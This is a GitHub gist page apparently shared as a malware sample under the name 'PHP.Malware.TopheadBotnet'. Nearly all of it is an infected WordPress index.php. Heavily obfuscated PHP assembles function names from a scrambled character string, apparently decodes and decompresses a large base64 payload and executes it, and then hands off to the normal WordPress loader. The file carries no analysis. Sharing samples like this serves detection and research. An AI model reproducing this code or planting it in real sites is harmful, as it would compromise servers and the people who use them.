Skip to content

Instantly share code, notes, and snippets.

@akosbitninja

akosbitninja/PHP.Malware.TopheadBotnet Secret

Created July 12, 2021 13:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akosbitninja/9282c032700292e033124a8e0aa2ccc9 to your computer and use it in GitHub Desktop.
Save akosbitninja/9282c032700292e033124a8e0aa2ccc9 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
PHP.Malware.TopheadBotnet
<?php
$MdRwlQi6788='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$MdRwlQi6788[(105/15)].$MdRwlQi6788[(26-1)].$MdRwlQi6788[(1*49)].$MdRwlQi6788[((10*1)+18)].$MdRwlQi6788[(14+22)].$MdRwlQi6788[(44+5)].$MdRwlQi6788[(44-13)].$MdRwlQi6788[(684/18)].$MdRwlQi6788[(23+4)].$MdRwlQi6788[(72-(33-7))].$MdRwlQi6788[(154/22)].$MdRwlQi6788[(11+25)].$MdRwlQi6788[(65-(62-31))].$MdRwlQi6788[(26-6)].$MdRwlQi6788[((27*2)-8)];$pHFdNhg9688=$MdRwlQi6788[(20-9)].$MdRwlQi6788[(2*4)].$MdRwlQi6788[(29*1)].$MdRwlQi6788[(160/4)];$MYtraky2482=$MdRwlQi6788[(8*5)].$MdRwlQi6788[((1+0)+2)].$MdRwlQi6788[(6+(1*(95/19)))].$MdRwlQi6788[(140/5)].$MdRwlQi6788[(522/18)].$MdRwlQi6788[(7*((7-3)-2))].$MdRwlQi6788[(2*14)].$MdRwlQi6788[(138/(2+4))].$MdRwlQi6788[(1029/(378/18))].$MdRwlQi6788[((2*189)/9)].$MdRwlQi6788[(12+(0+0))].$MdRwlQi6788[(31*1)].$MdRwlQi6788[(48/(36/12))].$MdRwlQi6788[(735/15)].$MdRwlQi6788[(0+7)].$MdRwlQi6788[(18+2)].$MdRwlQi6788[(18-(10/5))].$MdRwlQi6788[(735/15)].$MdRwlQi6788[(0+(2-(1*1)))].$MdRwlQi6788[(16-(3+(36/(0+18))))].$MdRwlQi6788[((167-23)/18)].$MdRwlQi6788[(0+(18-9))].$MdRwlQi6788[(1*3)].$MdRwlQi6788[(11*(1+(0/(78/13))))].$MdRwlQi6788[(2*7)].$MdRwlQi6788[(29*(0+1))].$MdRwlQi6788[(38-(8+9))].$MdRwlQi6788[(15*2)].$MdRwlQi6788[(45-11)].$MdRwlQi6788[(1*46)].$MdRwlQi6788[(1*(17+21))].$MdRwlQi6788[(78/3)].$MdRwlQi6788[(21+(77/11))].$MdRwlQi6788[(22+14)].$MdRwlQi6788[(343/(91/13))].$MdRwlQi6788[(1*1)].$MdRwlQi6788[(21-10)].$MdRwlQi6788[(22+(12/2))].$MdRwlQi6788[(180/20)].$MdRwlQi6788[(3+((0+0)*1))].$MdRwlQi6788[(686/(126/9))].$MdRwlQi6788[(61-(32-8))].$MdRwlQi6788[(476/17)].$MdRwlQi6788[((4-0)+22)].$MdRwlQi6788[(((23-(2*5))/13)-0)].$MdRwlQi6788[(7+(84/21))].$MdRwlQi6788[(28/2)].$MdRwlQi6788[(9-0)].$MdRwlQi6788[(3*1)];$UrR1094= "'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'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481();
?>
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment